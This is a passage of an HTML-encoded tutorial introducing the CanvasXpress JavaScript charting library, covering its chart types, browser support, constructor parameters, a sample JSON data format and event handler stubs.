href=&quot;http://www.canvasxpress.org/scatter2d.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;2D-scatter plots&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/scatter2d.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;2D-scatter bubble plots&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/scatter3d.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;3D-scatter plots&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/pie.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;pie charts&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/correlation.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;correlation plots&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/venn.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;Venn diagrams&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/network.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;networks (or pathways)&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/candlestick.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;candlesticks plots&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/genome.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;genome browser&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; and&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/circular.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;circular plots&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;.  It also supports a few data transformations like log and exponential  transformation, z-score, percentile transformation, ratios and  transposing. It also support grouping of samples, hierarchical  clustering, kmeans, complex layouts, regression lines, normal  distribution plots, non linear fitting, zooming, events&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;There’s a lot to choose and many customization options like description position, font size, colors, resize, and more!&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;You can check more about in its official website: &lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;http://www.canvasxpress.org&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;Browser support&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;The  compatibility is first determined by the canvas element support. At the  time of writing, most browsers supports this element with the exception  that&amp;nbsp;older versions of&amp;nbsp; IE requires an additional library called &lt;/span&gt;&lt;a href=&quot;http://code.google.com/p/explorercanvas/&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;ExplorerCanvas&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;img alt=&quot;&quot; src=&quot;https://sites.accenture.com/publishing/ADCSolutions/JavaCentric/PublishingImages/CanvasSupport.jpg&quot; style=&quot;border-color: -moz-use-text-color; border-style: solid; border-width: 0px;&quot; /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 11px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Canvas compatibility chart from caniuse.com/canvas&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;At  the time of writing, the official website says that CanvasXpress is  supported by all major browsers as well, but I’ve only tested with  Firefox and Chrome (latests versions) with excellents results.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;Basic usage&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Creating a graphic is very simple, we only need to instantiate with a few arguments that I’ll explain below:&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 255); float: left; line-height: 1; white-space: pre;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;var&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;cX&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;new&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;CanvasXpress&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;,&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;,&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;,&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;);&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;h4 dir=&quot;ltr&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #666666; font-family: arial; font-size: 13px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;target&lt;/span&gt;&lt;/h4&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;The  parameter target is the id of the element in the DOM with the tag name  &amp;lt;canvas&amp;gt;. If it is undefined, a new element is inserted in the  document body.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;A  json object with the data you want to plot. There are six different  data formats. One for the genome browser, one for the networks, one for  the Venn diagramas, one for the correlation plots, one for the stock  market data and one for all the other graphs. &lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;The data structure you probably be using for simple graphics is the last one, that looks like this: &lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&quot;y&quot;: {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;vars&quot;: [&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;Today&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ],&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;smps&quot;: [&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;0h&quot;,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;6h&quot;,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;12h&quot;,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;18h&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ],&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;desc&quot;: [&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;Description&quot;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ],&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;data&quot;: [&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2000,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1023,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 660,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1030&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;};&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;The others structures are well explained in the official website.&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;Pretty  much everything in this library is customizable. The configuration  parameters are divided in sections and they’re well documented in the  official website. &lt;br class=&quot;kix-line-break&quot; /&gt;We’ll see a few of them in  the examples but it is highly recommended to check all of them so you  can know what you can customize and what you cannot.&lt;/span&gt;&lt;br /&gt;&lt;h4 dir=&quot;ltr&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;events&lt;/span&gt;&lt;/h4&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;The parameter events is a &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; object with the user defined events. By default four events that  canvasXpress supports are assigned which are mouseover, mouseout, click  and dblclick. The events can also handle scope as shown below. In &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;json&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; format the events is like this: &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 255); float: left; line-height: 1; white-space: pre;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;mouseover&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;:&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;function&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;(&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;sc11&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;// Do something ... &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;},&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;mouseoutr&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;:&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;function&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;(&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;sc11&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;// Do something more... &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;},&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;:&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;function&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;(&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;sc11&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;)&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;{&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;&lt;span class=&quot;sc2&quot;&gt;// Do something else ... &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;},&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #f2f4ff; font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;dblclick&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;:&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span 